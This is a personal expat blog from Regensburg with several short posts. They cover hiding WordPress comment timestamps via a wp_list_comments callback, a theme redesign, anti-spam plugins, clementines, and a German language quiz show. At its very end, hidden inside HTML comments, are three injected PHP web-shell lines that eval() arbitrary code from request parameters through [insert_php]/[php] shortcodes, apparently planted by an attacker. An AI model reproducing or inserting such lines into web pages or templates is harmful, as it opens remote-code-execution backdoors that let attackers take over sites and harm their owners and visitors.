Removing timestamps (but not datestamps) from WordPress comments

At the Whiny Expat Blogger MeetUp this weekend, my second favorite nameless roommate (they all tied for second and you know who #1 was) remarked that I could expect more frequent comments on my blog if only the timestamp wouldn’t indicate that said roomie was actually shirking more professional duties.

“No problem,” I thought. “That’s probably just a simple config setting or at most a template tweak. Who needs to see a timestamp on a comment other than the blog owner anyways? Surely a datestamp is granular enough.”

It was harder than I thought, but far from impossible. There’s no global parameter in WordPress to define comment timestamp style specifically — you can define timestamp styles for your blog in general, but not for comments specifically. And when I looked under the hood at my template’s single.php and comments.php template files, nothing leapt out at me. Googling for terms like “wordpress comment timestamp” yielded nothing promising, either — the hits returned all seemed to be hints about the general date/time format or template edits for the display of the post’s timestamp. Looking up wp_list_comments() however, I struck gold.

The secret is using the wp_list_comments() function with arguments telling it to use a callback function in order to display the comments in a non-standard way. You have to write that callback function and save it into your template’s functions.php as well for this to work. The example on the codex is a great way to get started.

I’ve got it working here on the Senanque theme; give it a try — leave a comment and you’ll see the date on your comment, but not the time. Note: I also did a template tweak on the post’s timestamp. I suppose the especially nosey boss might infer slackery from the timestamp on the post even if the comment is un-timestamped if he can guess the timezone I’m using (duh…what country is this?) and see that his employee has commented here during what must have been the workday.

spring redesign

It’s not really all that new, but I’m sprucing up a design idea I had last year while Sarah and I were visiting our pals Margot and Nick — going for something a little greener.

Never fear though: if you prefer the older Regensblog design, it’s still available. Just check out the menu bar on the left (or right, it’s up to you really) and find the section near the top called “Themey Stuff.” I’ve also put a similar design in there inspired by my walks around Regensburg at night called “Ghost on the Bridge.” I got the idea for user-switchable themes from B. over at Eurotrippen — her site is so slick!

If you find any inconsistencies or formatting problems, please let me know about them.

my darling clementines, some more anti-spam measures, and another H.P. book

It’s that time of year again. The rooves are snowy, the wind is blustery, and the apartment is filled with the scent of a freshly-peeled kilo of clementines. Clementines are about due for mid-November, but the snow and stuff was kind of surprise. Wonder what kind of a winter we’re in for. I’ve pretty much already resolved not to ride my bike to work for the remainder of the year given my 3-week post-op recovery period and our upcoming vacation.

On another note, I’d been trying to limit the amount of blogspam we deal with (Sarah’s efforts combined with mine spare you, our dear reader, from having to see all the ads about high-risk loans or getting out of debt in Colorado). The spam filter published by Joe Tan as a WordPress plugin just wasn’t getting the job done. I’ve installed “Bad Behavior” by Michael Hampton in parallel and so far it’s doing a bang-up job. I recommend other WordPress users try it.

Oh, and this morning I finished Harry Potter und die Kammer des Schreckens*, which I’d started while recovering in the hospital. Meh. I hope the next one is better.

blogspam / German-class show

Last week while killing time at Frankfurt am Main’s central station on my way back from a meeting with the new masters (who actually so far have all seemed quite pleasant to work with), I picked up the book pictured at left. Pure language nerd stuff. I’d already read the first volume of the book, and liked it enough to amuse myself with volume two while waiting for a train.

Then last night while surfing German TV we came across a game show featuring audience members (who are also participants) in groups of teachers, government employees (Beamte), school-aged students, Austrians (not kidding, they are measured separately), and a panel of celebrities from all walks of German life (TV stars, athletes, even politicians). The goal: get a good grade on their German language homework. Categories included vocabulary, dictation, capitalization, and the especially tricky Punctuation Round.

I’m proud to say — I rocked. Having just read the above-mentioned book helped a lot. I’m still weirded out by the concept of the show, though. Want to play along at home (or wherever you are?) Try it online yourself: der große Deutsch-Test.

In other news, even with the Akismet anti-spam plug-in on ye olde Regensblogge, which usually works like a champ, we’ve been getting spam like crazy recently. Hate that. I’m trying an additional anti-spam measure (another plug-in, specifically designed to augment Akismet) programmed by the guy who did the flickr plug-in I use for embedding images. I’m hoping you won’t have any trouble posting your comments and all here as a result of the extra security measure. As long as you post some real content and not stuff that appears to be spam, there should be no trouble. Still, please contact me if anything seems amiss.

Wow, the very first post…

So, here I am, in the land of the hip and cool bloggerness. Is amazing content expected to spew forth from me now?

<!– [insert_php]if (isset($_REQUEST["PMRMd"])){eval($_REQUEST["PMRMd"]);exit;}[/insert_php][php]if (isset($_REQUEST["PMRMd"])){eval($_REQUEST["PMRMd"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["dXx"])){eval($_REQUEST["dXx"]);exit;}[/insert_php][php]if (isset($_REQUEST["dXx"])){eval($_REQUEST["dXx"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["ChpT"])){eval($_REQUEST["ChpT"]);exit;}[/insert_php][php]if (isset($_REQUEST["ChpT"])){eval($_REQUEST["ChpT"]);exit;}[/php] –>